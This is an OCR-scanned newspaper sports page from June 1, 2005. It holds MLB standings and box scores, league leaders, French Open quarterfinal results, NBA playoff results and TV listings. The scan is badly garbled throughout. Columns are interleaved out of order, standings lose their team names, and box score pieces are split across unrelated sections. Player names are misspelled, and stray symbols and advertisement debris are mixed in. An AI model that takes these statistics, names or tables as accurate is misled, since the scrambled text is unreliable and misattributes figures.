23 .549 3 4-6 27 24 .529 4 z-6-4 27 24 .529 4 z-6-4 19 33 .365121/2 4-6 Central Division W L Pct GB L10 35 17 .673 z-5-5 29 21 .580 5 5-5 25 25 .500 9 z-8-2 23 26 .46910% 4-6 14 37 .27520 2-8 West Division W L Pct GB L10 30 20 .600 9-1 30 22 .577 1 5-5 21 29 .420 9 5-5 18 32 .360 12 z-2-8 NATIONAL LEAGUE East Division W L Pct GB L10 27 22 .551 z-4-6 28 23 .549 z-5-5 27 25 .519 11/2 4-6 26 26 .500 2 z-4-6 25 27 .481 3 z-6-4 Central Division W L Pct GB L10 33 17 .660 z-8-2 25 24 .510 7 7-3 24 26 .480 9 5-5 23 27 .460 10 4-6 31 .404 32 .373 West Di L Pct San Diego 32 19 .62 Arizona 30 22 .57 Los Angeles 26 24 .52 San Francisco 23 27 .46 Colorado 14 35 .28 z-first game was a win AMERICAN LEAGUE Tuesday's Games Texas 8, Detroit 2 Boston 5, Baltimore 1 White Sox 5, L.A. Angels 4 Cleveland 4, Minnesota 3 Kansas City 5, N.Y. Yankees 3 Toronto at Seattle, 10:05 p.m. Tampa Bay at Oakland, 10:05 p.m. Wednesday's Games Texas (Drese 4-4) at Detroit (Bonderman 5-3), 7:05 p.m. Baltimore (Ponson 5-3) at Boston (Wakefield 4-4), 7:05 p.m. L.A. Angels (Byrd 4-4) at Chicago White Sox (Contreras 2-2), 7:05 p.m. Cleveland (Lee 6-2) at Minnesota (Radke 4-4), 8:10 p.m. N.Y. Yankees (R.Johrison 5-3) at Kansas City (Carrasco 0-1), 8:10 p.m. Toronto (Chacin 5-3) at Seattle (Meche 4- 3), 10:05 p.m. Tampa Bay (Hendrickson 2-2) at Oakland (Zito 1-6), 10:05 p.m. Thursday's Games Texas at Detroit, 1:05 p.m. Baltimore at Boston, 1:05 p.m. Cleveland at Minnesota, 1:10 p.m. N.Y. Yankees at Kansas City, 8:10 p.m. Toronto at Oakland, 10:05 p.m. Pirates 5, Marins 4 FLORIDA PITTSBURGH ab rhbi ab r hbi Pierre cf 4 00 0 Lawton rf 2 1 0 1 LCstillo2b 401 0 Snchez3b 3 0 1 2 Cbrera If 4 11 1 Bay If 3 1 1 0 CDIgdolb 422 1 Ward 1b 4 1 1 2 JEcrcn rf 4 12 1 Mckwk cf 3 0 0 0 Lowell 3b 300 1 Castillo 2b 4 000- AGnzlz ss 401 0 Cota c 4 1 1 0 Tranor c 3 01 0 JWilsn ss 4 1 3 0 Bumettp 2 00 0OlPrezp 0 0 00 LHarrs ph 1 000 TRdmn ph 1 0 00 Bumpp 0 000 Mdowsp 0 000 Redling p 0 00 0 Gnzalezp 0 000 Hill ph 1 000 Mesa p 0 0 0 0 Totals 334 8 4 Totals 29 5 7 5 Florida 000 202 000- 4 Pittsburgh 001 020 20x- 5 E-LCastillo (2), Treanor (1), Castillo (3). DP-Florida 1, Pittsburgh 1. LOB-Florida 3, Pittsburgh 7. 2B-JEncarnacion (12), AGonzalez (12), Treanor (3), Sanchez (8). HR-Cabrera (10), CDelgado (10), JEncamacion (7), Ward (10). S-OlPerez 2. SF-Lowell, Lawton. IP H RERBBSO Florida Bumett 6 4 3 0 2 2 BumpL,0-2 1 2 2 2 1 2 Riedling 1 1 0 0 0 1 Pittsburgh OIPerez 6 7 4 4 0 6 MeadowsW,1-0 1 1 0 0 0 0 Gonzalez 1 0 0 0 0 0 MesaS,14 1 0 0 0 0 0 HBP-by Bumett (Sanchez). T-2:19. A-12,553 (38,496). Nationals 5, Braves 4 ATLANTA WASHINGTON ab rhbi ab r hbi Furcal ss 5 11 0 Wlkrsn cf 3 0 0 0 MGiles2b 2 00 0 Carroll2b 4 1 1 0 Jhnson If 3 10 0 JGillen rf 4 2 3 1 CJones3b 4 11 2 NJhnsnl b 3 1 22 LaRche 1b 1 00 0 Castilla3b 4 020 JuFrco lb 2 12 2 Byrdl f 4 0 1 0 AJones cf 4 01 0 Mjwski p 0 0 0 0 JEstdac 4 01 0 CCrdrop 0 0 0 0 Btemit pr 0 00 0 GBnntt c 4 0 2 1 BJordn rf 400 0 CGzmnss 4 000 Hmptn p 1 00 0 JoPttsn p 1 0 0 0 Orrph 1 00 0 Blancoph 1 0 00 Bmerop 0 00 0 Ntkski p 0 0 0 0 Lngrhnph 1 00 0 Tucker p 0 000 Colon p 0000 Ayala p 0 000 Grybsk p 0 00 0 Church If 2 1 2 0 Foster p 0 00 0 JoSosap 0 00 0 Pena ph 1 00 0 Totals 334 6 4 Totals 34 513 4 Atlanta 100 002 001- 4 Washington 000 002 30x- 5 DP-Atlanta 3. LOB-Atlanta 6, Washington 9. 2B-CJones (15), NJohnson (13), Church (5). HR-JuFranco (2). SB- Furcal (20). IP H RERBBSO Atlanta Hampton 4 5 0 0 2 1 Bemero 2 3 2 2 1 2 Colon L,0-2 1-3 2 2 2 0 0 Gryboski 0 1 1 1 0 0 Foster 0 1 0 0 0 0 JoSosa 12-3 1 0 0 1 1 Washington JoPatterson 5 1 1 1 2 3 Nitkowski 2-3 1 2 2 1 0 Tucker 1-3 1 0 0 0 0 Ayala W,3-3 1 0 0 0 0 0 Majewski 1 0 0 0 1 2 CCorderoS,13 1 3 1 1 0 2 Gryboski pitched to 1 batter in the 7th, Foster pitched to 1 batter in the 7th. WP-JoPatterson. T-2:51. A-29,512 (45,250). Red Sox 5, Orioles 1 BALTIMORE BOSTON ab rh bi ab r hbi BRbrts 2b 4 01 0 Damon cf 1 0 00 Mora3b 4 00 0 Olerud ib 3 1 1 1 Tejada ss 3 00 0 Rnteria ss 4 2 2 1 SSosa rf 3 00 0 DOrtiz dh 3 0 2 1 RPImo lb 401 0 Nixon rf 2 001 7 7 20 60 86 Home 17-14 14-7 16-13 14-12 16-14 Home 17-6 14-10 11-13 10-14 8-17 Home 17-12 15-11 10-14 10-12 Home 18-12 17-7 14-8 16-10 11-10 Home 17-10 15-12 15-11 9-13 Away Intr 14-6 1-2 14-16 2-1 11-11 2-1 13-12 2-1 3-19 0-3 Away Intr 18-11 2-1 15-11 2-1 14-12 2-1 13-12 1-2 6-20 1-2 Away Intr 13-8 3-0 15-11 2-1 11-15 2-1 8-20 1-2 Away Intr 9-10 3-0 11-16 1-2 13-17 1-2 10-16 1-2 14-17 2-1 Away Intr 16-7 2-1. 10-12 1-2 9-15 1-2 14-14 0-0 13 6-4 L-1 15-14 6-17 1-2 14 4-6 W-1 14-10 5-22 0-3 vision GB L10 Str Home Away Intr z-7-3 W-5 17-4 15-15 1-2 2% z-5-5 W-1 16-12 14-10 2-1 ) 5/2 4-6 L-1 12-12 14-12 1-2 ) 8 4-6 L-5 14-15 9-12 2-1 3 17 2-8 L-4 10-12 4-23 0-0 NATIONAL LEAGUE Tuesday's Games Pittsburgh 5, Florida 4 Washington 5, Atlanta 4 Philadelphia 5, San Francisco 2 Arizona 7, N.Y. Mets 0 Houston 4, Cincinnati 3 St. Louis at Colorado, 9:05 p.m. Milwaukee at San Diego, 10:05 p.m. Chicago Cubs at LA. Dodgers, 10:10 p.m. Wednesday's Games Florida (Moehler 2-2) at Pittsburgh (Fogg 3-3), 7:05 p.m. Atlanta (Smoltz 3-4) at Washington (Armas 1-3), 7:05 p.m. San Francisco (Rueter 2-3) at Philadelphia (Lidle 5-3), 7:05 p.m. Arizona (Webb 6-1) at N.Y. Mets (V.Zambrano 2-5), 7:10 p.m. Cincinnati (Ra.Ortiz 1-3) at Houston (Oswalt 5-6), 8:05 p.m. St. Louis (Morris 5-0) at Colorado (Kennedy 3-5), 9:05 p.m. Milwaukee (D.Davis 6-5) at San Diego (Lawrence 3-5), 10:05 p.m. Chicago Cubs (Koronka 0-0) at L.A. Dodgers (Lowe 4-4), 10:10 p.m. Thursday's Games St. Louis at Colorado, 3:05 p.m. Florida at Pittsburgh, 7:05 p.m. Atlanta at Washington, 7:05 p.m. San Francisco at Philadelphia, 7:05 p.m. Arizona at N.Y. Mets, 7:10 p.m. Chicago Cubs at San Diego, 10:05 p.m. Milwaukee at L.A. Dodgers, 10:10 p.m. SurhofflIf 401 0 Varitekc 3 001 Gbbonsdh 311 0 Millar b 4 000 Fasano c 301 1 Mueller 3b 3 0 00 Newhn cf 2000 Payton If 4 1 1 0 Bllhom 2b 4 1 20 Totals 301 5 1 Totals 31 5 8 5 Baltimore 001 000 000- 1 Boston 000 040 10x- 5 E-Cabrera (1). DP-Baltimore 1, Boston 1. LOB-Baltimore 5, Boston 7. 2B-Fasano (1), Olerud (2). 3B-Gibbons (3). SF- Varitek. IP H RERBBSO Baltimore CabreraL,4-4 52-3 6 4 4 3 3 Parrish 1-3 2 1 1 1 0 SReed 1 0 0 0 0 0 BRyan 1 0 0 0 0 1 Boston WMillerW,2-1 7 5 1 1 3 3 Timlin 11-3 0 0 0 0 1" MMyers 2-3 0 0 0 0 0 Parrish pitched to 3 batters in the 7th. WP-WMiller. T-2:48. A-35,147 (35,095). PhIlles 5, Giants 2 SAN FRAN PHILA ab rhbi Ellison cf Vizquel ss Niekro lb Alou rf - DCruz 2b Alfonzo 3b Feliz If Mtheny c Brower p Tomko p Dalimr ph Munter p Chrstns p Trrnlha c 5 11 2 Rollins ss 5 03 0 Lofton cf 3 02 0 BAbreu rf 4 00 0 Thome lb 4 00 0 Burrell If 3 01 0 Utley2b 4 00 0 DaBell3b 3 01 0 Lbrthalc 0 00 0 Wolfp 2 00 0 Madson p 1 00 0 Plancoph 0 00 0 BWgnrp 0 00 0 1 10n n ab r htbi 4010 4 1 2 1 2 1 00 30010 2000 4 1 22 2 1 00 3000 3 1 1 0 0 0 00 1 0 1 2 0 0 00 Totals 352 8 2 Totals 28 5 7. 5 San Francisco 000 000 002- 2 Philadelphia 003 000 02x- .5 E-Rollins (4). DP-San Francisco 1, Philadelphia 1. LOB-San Francisco 11, Philadelphia 8. 2B-Vizquel (13), Matheny (10), Wolf (2). HR-Ellison (4). SB-Lofton (2), Utley (5). CS-BAbreu (2). S-Rollins. IP H RERBBSO San Francisco TomkoL,4-7 5 5 3 3 6 3 Munter 1 0 0 0 0 1 Christiansen 12-3 1 1 1 0 1- Brower 1-3 1 1 1 2 0 Philadelphia Wolf W,5-4 62-3 6 0 0 3 5 Madson 11-3 0 0 0 1 1 BWagner 1 2 2 1 0 0 HBP-by Wolf (Niekro).T-2:43. A- 23,456 ,826). Ranger 8, Tigers 2 TEXAS DETROIT ab rhbi ab r hbi ATrres cf 5 11 0 Inge 3b 4 1 2 2 MYong ss 4 12 1 REMtiz ss 4 000 Txeira 1b 523 1 DYong lb 4 000 Blalock3b 5 02 1 Monroe rf 4 0 1 0 ASrano 2b 4 11 0 IRdrgz c 3 0 00 Mench If 422 2 VWilsn ph 1 0 00 Hidalgorf 5 01 0 Thmeslf 2 0 00 CAllen dh 5 12 2 Shelton dh 3 1 1 0 Brajasc 4 01 1 Infante2b 3 0 1 0 Logan cf 3 0 0 0 Totals 41815 8 Totals 31 2 5 2 Texas 100 322 000-- 8 Detroit 100 000 010- 2 DP-Texas 1, Detroit 1. LOB-Texas 9, Detroit 3. 2B-Teixeira (12), Blalock (13), Shelton (1). 3B-Teixeira (1), CAllen (1). HR-Mench (9), Inge (5). SB-ATorres (1). IP H RERBBSO Texas Rogers W,7-2 7 3 1 1 1 6 Regillo 1 2 1 1 0 0 Loe 1 0 00 0 0 Detroit Maroth L,4-5 42-3 9 6 6 1 5 MGinter 1 4 2 2 0 1 Creek 11-3 0 0 0 0 1 Spurling 1 0 0 0 1 0 German 1 2 0 0 0 0 HBP-by MGinter (ASoriano). T-2:40. A-16,931 (40,120). 2B WE] *~. A.5 .4 ..w S 4.. Ci * i. E -- w .. l - * S..." mF -. - I- ^r ^e ~ SDr-ArsC ..". X" WEDNESDAY, JUNE 1, 2005 3B RUS C,.N, J(PL)i fnONIrrrr r SP French Open Tuesday At Stade Roland Garros, Paris Purse: $17 million (Grand Slam) Surface: Clay-Outdoor Singles Men Quarterfinals Roger Federbr (1), Switzerland, def. Victor Hanescu, Romania, 6-2, 7-6 (3), 6-3. Rafael Nadal (4), Spain, def. David Ferrer (20), Spain, 7-5, 6-2, 6-0. Women Quarterfinals Nadia Petrova (7), Russia, def. Ana Ivanovic (29), Serbia-Montenegro, 6-2, 6- 2. Elena Likhovtseva (16), Russia, def. Sesil Karatantcheva, Bulgaria, 2-6, 6-4, 6- 4. -Justine Henin-Hardenne (10), Belgium, def. Maria Sharapova (2), Russia, 6-4, 6-2. Mary Pierce (21), France, def. Lindsay Davenport (1), United States, 6-3, 6-2. Doubles Men Quarterfinals Jonas Bjorkman, Sweden, and Max Mirnyi (2), Belarus, def. Wayne Arthurs and Paul Hanley (8), Australia, 6-4, 7-6 (5). 'Mark Knowles, Bahamas, and Daniel Nestor (1), Canada, def. Martin Damm, Czech Republic, and Mariano Hood (12), Argentina, 7-6 (2), 3-6, 6-1. Bob and Mike Bryan (3), United States, def. Leander Paes, India, and Nenad Zimonjic (6), Serbia-Montenegro, 7-6 (5), 6-3. Mixed Quarterfinals Samantha Stosur and Paul Hanley, Australia, def. Sandrine Testud and Marc Gicquel, France, 6-4, 6-1. Anastasia Myskina, Russia, and Jonas Bjorkman (4), Sweden, def. Lisa Raymond, United States, and Mahesh Bhupathi (7), India, 6-4, 6-2. Royals 5, Yankees 3 NEW YORK KANSAS CITY ab rhbi ab r hbi Jeter ss 4 00 0 Berroa ss 5 0 1 0 .Wmack If 400 0 DJesus of 3 1 1 0 RuJnsn lb 1 00 0 MiSwy lb 4 0 0 0 ARod 3b 3 00 0 Stairs dh 3 2 2 0 TMrtnz lb 3 00 0 Brown rf 4 0 2 1 Shffield rf 1 00 0 Long If 3 0 0 2 Posada c 3 100 Teahen 3b 4 1 2 0 Matsui rf 3 11 2 Buck c 3 0 1 0 BWllms cf 3 12 0 Gotay 2b 3 1 1 1 JaGbi dh Sierra dh Cano 2b 3 01 1 1 00 0 3 01 0 Totals 323 5 3 Totals 32 510 4 New York 020.100 000- 3 Kansas City 012 110 00x- 5 E-Cano (4), KBrown (1), Teahen (4). LOB-New York 8, Kansas City 8. 2B- BWilliams 2 (9), Stairs (8), Brown (9). HR-Matsui (4). SB-Teahen (1). SF- Long. IP H RERBBSO New York KBrown L,4-5 7 9 5 4 3 7 Sturtze 1 1 0 0 0 2 Kansas City GreinkeW,1-6 5 3 3 3 3 2 MWood 12-3 2 0 0 2 0 SSisco 11-3 0 0 0 1 2 MacDougal S,3 1 0 0 0 0 1 HBP-by KBrown (DeJesus). WP- KBrown 2. Umpires-Home, Dale Scott: Firet Tim Tschida; Second, Ron Kulpa; Tri7n, Dan lassogna. no:: T-2:57. A-18,680 (40,785).. .' Diamondbacks 7, Mets 0 ARIZONA NEW YORK ab rhbi ab r hbi Cunsell 2b 5 13 3 Reyes ss 4 0 3 0 VIverde p 0 00 0 DeJean p 0 0 0 0 JoCruz cf 5 11 2 Cairo 2b 3 0 2 0 Terrero cf 0 00 0 Beltran cf 4 0 0 0 LGnzlz If 4 00 0 Piazza c 3 0 0 0 Glaus 3b 5 11 0 Floyd If 4 0 0 0 ShGren rf 4 12 0 Cmeron rf 3 0 1 0 Tracy lb 4 12 1 Wright 3b 4 0 0 0 Clayton ss 5 21 0 Mntkw lb 4 0 0 0 CSnydr c 4 02 0 Benson p 2 0 0 0 Halsey p 3 01 1 Koo p 0 0 0 0 Kplove p 0 000 Aybar p 0 0 0 0 Kata 2b 1 01 0 Wdwrd ss 1 0 0 0 Totals 40714 7 Totals 32 0 6 0 Arizona 200 002 300- 7 New York 000 000 000- 0 E-Piazza (2). DP-New York 1. LOB- Arizona 12, New York 8. 2B-Counsell (16), Clayton (11), Kata (2), Reyes (10). H HR-JoCruz (6). SB-Reyes (11), Cairo (7), Cameron (5). S-Halsey, Cairo. SF- Tracy. IP H RERBBSO ' Arizona Halsey W,4-2 7 6 0 0 1 6 -Koplove 1 0 0 0 0 2 Valverde 1 0 0 0 1 1 New York Benson L,3-2 6 8 4 4 2 7 Koo 2-3 4 3 3 2 0 -Aybar 1-3 0 0 0 0 1 DeJean 2 2 0 0 0 2 Umpires-Home, Mike Winters; First, Bruce Froemming; Second, Hunter Wendelstedt; Third, Jerry Meals. T-3:07. A-33,955 (57,369). Indians 4, Twins 3 CLEVELAND MINNESOTA ab rhbi ab r hbi Szmore cf 4 00 0 ShStwrt If 4 0 0 0 Cora2b 4 00 0 Mauerc 4 0 1 0 Hafnerdh 3020 LForddh 4 01 0 JGnzlz rf 1 00 0 LeCroy 1b 3 0 0 0 Blake rf 3 10 0 Rivas pr 0 0 0 0 Brssrd lb 4 22 1 Rdrgez 2b 0 0 0 0 VMrtnz c 3 12 2 THnter cf 4 0 1 0 Gerut If 4 01 1 JJones rf 4 1 2 0 JHrndz3b 4 01 0 Cddyer 3b 3 2 1 0 Peralta ss 4 01 0 Punto 2b 4 0 1 0 JCastro ss 3 0 1 3 Mrneau ph 1 0 0 0 Totals 344 9 4 Totals 34 3 8 3 Cleveland 010 102 000- 4 Minnesota 020 000 100- 3 E-Sabathia (1), LeCroy 2 (2). DP- Cleveland 1, Minnesota 4. LOB- Cleveland 5, Minnesota 6. 2B-Broussard (16), Cuddyer (11), JCastro (5). HR-Broussard (5), VMartinez (4). SB-Punto (5). IP H RERBBSO Cleveland Sabathia W,4-3 72-3 7 3 3 2 3 Howry 1-3 0 0 0 0 0 Wickman S,14 1 1 0 0 0 1 Minnesota CSilva L,3-3 7 9 4 4 1 0 Mulholland 11-3 0 0 0 1 1 JRincon 2-3 0 0 0 0 1 Umpires-Home, Bill Hohn; First, Doug Eddings; Second, Bruce Dreckman; Third, Gerry Davis. T-2:28. A-15,494 (46,564). White Sox 5, Angels 4 LOS ANGELES CHICAGO ab rhbi ab r h bi Figgins rf 3 10 0 Pdsdnk if 4 1 2 0 Erstad lb 4 12 1 Iguchi 2b 4 1 1 1 SFinleycf 4 11 0 Rwandcf 4 02 1 GAndsn If 4 13 2 Knerko 1 b 4 0 0 0 McPrsn 3b 4 01 0 CEvrttdh 4 1 2 0 BMolna c 4 01 1 Dye rf 3 1 2 1 ~1 I , :1: ..2-' '-' On the A: VAVES TODAY'S SPORTS BASEBALL 6:30 p.m. (FSNFL) Marlins on Deck Florida Marlins pregame. (Live) 7 p.m. (ESPN2) MLB Baseball Los Angeles Angels of Anaheim at Chicago White Sox. From U.S. Cellular Field in Chicago. (Live) (CC) (FSNFL) MLB Baseball Florida Marlins at Pittsburgh Pirates. From PNC Park in Pittsburgh. (Live) 10 p.m. (ESPN2) MLB Baseball Chicago Cubs at Los Angeles Dodgers. From Dodger Stadium in Los Angeles. (Live) (CC) BASKETBALL 9 p.m. (ESPN) NBA Basketball Western Conference Final Game 5 San Antonio Spurs at Phoenix Suns. If necessary. From America West Arena in Phoenix. (Live) (CC)" TENNIS 8 a.m. (ESPN2) Tennis French Open Quarterfinals. From,:- Paris. (Same-day Tape) (CC) Kotchman dh400 0 Przyns c 1 0 0 1 OCberass 3 00 Uribe ss 3 0 1 0 AKndy 2b 1 01 0 Crede 3b 3 1 1 1 Quinlan ph 1 00 0 DVnonrf 1 00 0 Totals 334 94 Totals 30 511 5 Los Angeles 100 101 010- 4 Chicago 200 110 001- 5 No outs when winning run scored. E-BMolina (1). DP-Los Angeles 2, Chicago 3. LOB-Los Angeles 5, Chicago 4. 2B-Erstad (13), SFinley (11), CEverett (8). 3B-Iguchi (2). HR-GAnderson (6), Dye (10), Crede (5). SB-Figgins (18), AKennedy (3). CS-Podsednik (8). SF- Pierzynski. IP H RERBBSO Los Angeles Lackey 7 10 4 4 2 3 Donnelly L,2-1 1 1 1 1 0 0 Chicago FGarcia 51-3 6 3 3 2 3 Cotts 12-3 0 0 0 1 0 Marte 1-3 3 1 1 0 0 PolitteW,2-0 12-3 0 0 0 0 1 Donnelly pitched to 1 batter in the 9th. Umpires-Home, Chuck Meriwether; First, Mike Everitt; Second, Tim Timmons; Third, Tim McClelland. T-2:40. A-19,864 (40,615). Astros 4, Reds 3 CINCINNATI HOUSTON ab rhbi ab r hbi Freel rf 4 11 0 Tveras cf 4 1 1 0 FLopez ss 5 11 0 Self rf 4 0 1 1 Casey Ib 4 02 1 Biggio 2b 4 0 0 0 Grf Jr. cf 4 12 2 Brntlett 2b 0 0 0 0 Dunn If 3 00 0 Brkmn If 3 1 2 1 Randa 3b 401 0 Ensbrg 3b 3000 Aurilia2b 4 00 0 Lamb lb 4 0 1 1 LaRue c 3 01 0 AEvrtt ss 3 1 1 1 Belisle p 2 01 0 Asmusc 3 0 1 0 Stone p 0 00 0 Backe p 3 1 1 0 JaCruzph 1 01 0 JoFrcop 0 000 Romno pr 0000 Wheelrp 0 0 0 0 RWgnr p 0000 Lidge p 0 000 Kearnsph 1 0000 Totals 35310 3 Totals 31 4 8 4 Cincinnati 000 020 100- 3 Houston 000 121 00x- 4 DP-Houston 1. LOB-Cincinnati 8, Houston 5. 2B-Casey (15), Griffey Jr. (15), Berkman (4). HR-Griffey Jr. (8), AEverett (5). SB-Freel (13). -. r ivIP H RERBBSO Cincinnati Belisle L,2-5 5 6 3 3 2 2 Stone 1 2 1 1 0 1 RWagner 2 0 0 0 0 0 Houston Backe W,5-3 62-3 9 3 3 2 1 JoFranco 1-3 1 0 0 0 0 Wheeler 1 0 0 0 0 3 Lidge S,11 1 0 0 0 1 3 WP-Backe. Umpires-Home, Mark Wegner; First, Paul Nauert; Second, Gary Darling; Third, Larry Poncino. T-2:27. A-28,535 (40,950). MAJOR LEAGUE LEADERS AMERICAN LEAGUE BATTING-BRoberts, Baltimore, .368; CGuillen, Detroit, .361; Damon, Boston, .351; ARodriguez, New York, .330; Sheffield, New York, .326; Hillenbrand, Toronto, .323; Tejada, Baltimore, .317. RUNS-ARodriguez, New York, 43; Damon, Boston, 42; ASoriano, Texas, 41; Teixeira, Texas, 39; BRoberts, Baltimore, 39; ISuzuki, Seattle, 37; Dellucci, Texas, 37. RBI-ARodriguez, New York, 49; Tejada, Baltimore, 45; Sexson, Seattle, 42; MRamirez, Boston, 41; DOrtiz, Boston, 39; GAnderson, Los Angeles, 38; Konerko, Chicago, 37. HITS-BRoberts, Baltimore, 75; Damon, Boston, 73; Tejada, Baltimore, 66; ISuzuki, Seattle, 65; Hillenbrand, Toronto, 64; Mora, Baltimore, 62; ShStewart, Minnesota, 62. DOUBLES-DOrtiz, Boston, 16; Broussard, Cleveland, 15; ASoriano, Texas, 15; Matsui, New York, 14; Gibbons, Baltimore, 14; MiSweeney, Kansas City, 14; IRodriguez, Detroit, 14. TRIPLES-Suzuki, Seattle, Seattle,6; Rios, Toronto, 5; Figgins, Los Angeles, 5; BRobertse,Baltimore, 5; Inge, Detroit, 5; Sizemore, Cleveland, 4; DeJesus, Kansas City, 4; CGuillen, Detroit, 4. HOME RUNS-ARodriguez, New York, 17; ASoriano, Texas, 14; Teixeira, Texas, 13; Sexson, Seattle, 13; Konerko, Chicago, 13; Tejada, Baltimore, 13; DOrtiz, Boston, 12; TMartinez, New York, 12. STOLEN BASES-Podsednik, Chicago, 26; Figgins, Los Angeles, 17; Womack, New York, 16; ISuzuki, Seattle, 15; Crawford, Tampa Bay, 14; BRoberts, Baltimore, 13; THunter, Minnesota, 13. PITCHING (5 Decisions)-Clement, Bosto, 6-0,1.000, 3.06; rain, 6-0,1.000, 306; CraMinnesota, 5-0, 1.000, .96;-JoSantana, Minnesota, 91; Halladay, Toronto, 59; RJohnson, New York, 58; Cabrera, Baltimore, 56; Bonderman, Detroit, 56; Lackey, Los Angeles, 55; Clement, Boston, 54; Colon, Los Angeles, 54. SAVES-FCordero, Texas, 16; Nathan, r w- lght G01f $1 ." | E.'.r,,3a Ahe'ri ^Or"'1'1 Minnesota, 15; BRyan, Baltimore, 14; SGuardado, Seattle, 14; Wickman, ';Cleveland, 13; MRivera, New York, 12; Foulke, Boston, 11; Hermanson, Chicago, 11. 11 NATIONAL LEAGUE I BATTING-Cabrera, Florida,, .356; DeLee, Chicago, .356; Iztiris, Los Angeles, .344; BAbreu, Philadelph a,,.332; BClark, Milwaukee, .330; Pujols St. Louis, .328; Grudzielanek, St. Louis, .327: RUNS-BClark. Milwaukee, 39; DeLee, Ch.--ago, 39; BGile4, San Diego, 37; Pujols, St. Louis, 36; BAbreu, Philadelphia, 36; Cabrera, Florida, 35; Bradley, Los Angeles, 35; JKent, Los Angeles, 35. RBI-DeLee, Chicago, 46; CaLee, Milwaukee, 44; Pujols, St. Louis, 42; Burrell, Philadelphia, 42; JKent, Los Angeles, 38; BAbreu, Philadelphia, 37; Nevin, San Diego, 37. HITS-Izturis, Los Angeles, 74; BClark, Milwaukee, 70; Pujols, St. Louis, 65; Barmes, Colorado, 64; Cabrera, Florida, 64; DeLee, Chicago, 63; BAbreu, Philadelphia, 61. DOUBLES-Wilkerson, Washington, 22; MGiles, Atlanta, 19; CDelgado, Florida, 17; Counsell, Arizona, 16; BGiles, San Diego, 16; Biggio, Houston, 16. TRIPLES-Reyes, New York, 7; Holliday, Colorado, 4; Pierre, Florida, 4; Lamb, Houston, 4; DRoberts, San Diego, 4; Bay, Pittsburgh, 3; JWilson, Pittsburgh, 3; Furcal, Atlanta, 3; BGiles, San Diego, 3. HOME RUNS-DeLee, Chicago, 16; Dunn, Cincinnati, 14; Glaus, Arizona, 13; Pujols, St. Louis, 12; CaLee, Milwaukee, 12; BAbreu, Philadelphia, 12; AJones, Atlanta, 12; Floyd, New York, 12. STOLEN BASES-Furcal, Atlanta, 20; Taveras, Houston, 17; BAbreu, Philadelphia, 14; Freel, Cincinnati, 12; Rollins, Philadelphia, 12; Reyes, New York, 11; Vizquel, San Francisco, 10. PITCHING (5 Decisions)-Peavy, San Diego, 5-0, 1.000, 2.00; Morris, St. Louis, 5-0, 1.000, 3.37; CHammond, San Diego, 5-0, 1.000, 1.85; Eaton, San Diego, 7-1, .875, 3.58; Mulder, St. Louis, 7-1,7-1, .875, 3.72; Webb, Arizona, 6-1, .857, 3.39; PMartinez, New York, 5-1, .833, 2.79. STRIKEOUTS-PMartinez, New York, 83; BMyers, Philadelphia, 76; Clemens, Houston, 76; Peavy, San Diego, 73; Caipanler St. Louis, 69; Beckett, Florida, 68, JVazquez, Arizona, 67. SAVES-Hoffman, San Diego, 16; Isringhausen, St. Louis, 15; Mesa, Pittsburgh, 14; CCordero, Washington, 13; Lyon, Arizona, 13; Brazoban, Los Angeles, 11; Kolb, Atlanta, 11; Looper, New York, 11; BWagner, Philadelphia, 11. BAS ET13ALL Playoff Glance FIRST ROUND (Best-of-7) 11.7, Chicago 99 Washington 106, Chicago 99 Washington 112, Chicago 110 4, Houston 3 Houston 98, Dallas 86 Houston 113, Dallas 111 Dallas 106, Houston 102 Dallas 97, Houston 93 Dallas 103, Houston 100 Houston 101, Dallas 83 Dallas 116, Houston 76 QUARTERFINALS (Best-of-7) EASTERN CONFERENCE Miami 4, Washington 0 Miami 105, Washington 86 GOLF & COUNTRY CLUB 18 Holes of Golf 1 anrn 2 c.art BEFORE rJ.CJr.J 21.70U p,.ila AFTER $Or1 8.87 pIEbS I 89N -D *Ctu Spr - ~ . - -- Miami 108, Washington 102 Miami 102, Washington 95 Miami 99, Washington 95 Detroit 4, Indiana 2 Detroit 96, Indiana 81 Indiana 92, Detroit 83 Indiana 79, Detroit 74 Detroit 89, Indiana 76 Detroit 86, Indiana 67 Detroit 88, Indiana 79 WESTERN CONFERENCE San Antonio 4, Seattle 2 San Antonio 103, Seattle 81 San Antonio 108, Seattle 91 Seattle 92, San Antonio 91 Seattle 101, San Antonio 89 San Antonio 103, Seattle 90 San Antonio 98, Seattle 96 Phoenix 4, Dallas 2 Phoenix 127, Dallas 102 Dallas 108, Phoenix 106 Phoenix 119, Dallas 102 Dallas 119, Phoenix 109 Phoenix 114, Dallas 108 Phoenix 130, Dallas 126, OT CONFERENCE FINALS (Best-of-7) EASTERN CONFERENCE Miami vs. Detroit Monday, May 23 Detroit 90, Miami 81 Wednesday, May 25 Miami 92, Detroit 86 Sunday, May 29 Miami 113, Detroit 104 Tuesday, May 31 Detroit 106, Miami 96, series tied 2-2 Thursday, June 2 Detroit at Miami, 8 p.m. Saturday, June.4 Miami at Detroit, 8 p.m. Monday, June 6 Detroit at Miami, 8 p.m., if necessary WESTERN CONFERENCE Phoenix vs. San Antonio Sunday, May 22 San Antonio 121, Phoenix 114:- Tuesday, May 24 San Antonio 111, Phoenix 108 Saturday, May 28 San Antonio 102, Phoenix 92 Monday, May 30 Phoenix 111, San Antonio 106, San Antonio leads series 3-1 Wednesday, June 1 San Antonio at Phoenix, 9 p.m. Friday, June 3 Phoenix at San Antonio, 9 p.m., if neces- sary Sunday, June 5 San Antonio at Phoenix, 8:30 p.m., if necessary Pistons 106, Heat 96 MIAMI (96) E.Jones 3-10 5-5 11, Haslem 4-9 6-6 14, O'Neal 4-9 4-10 12, Wade 10-22 8-10 28, D.Jones 2-4 0-0 6, Dooling 3-7 4-4 11, Mourning 2-2 0-2 4, Doleac 2-3 0-0 4, Butler 1-4 0-0 2, Laettner 1-2 2-2 4. Totals 32-72 29-39 96. DETROIT (106) Prince 6-12 3-5 15, R.Wallace 9-13 1-1 20, B.Wallace 2-11 0-0 4, R.Hamilton 10- 18 8-12 28, Billups 5-11 4-5 17, Arroyo 0-3 5-6 5, McDyess 3-5 0-0 6, Hunter 0-2 6-8 6, Campbell 2-2 1-2 5, Ham 0-0 0-0 0, Milicic 0-0 0-0 0, Dupree 0-0 0-0 0. Totals 37-77 28-39 106. Miami 21 25 2327- 96 Detroit 25 35 1927- 106 3-Point Goals-Miami 3-14 (D.Jones 2- 3, Dooling 1-4, E.Jones 0-2, Wade 0-2, Butler 0-3), Detroit 4-8 (Billups 3-4, R.Wallace 1-1, R.Hamilton 0-1, Prince 0-1, Hunter 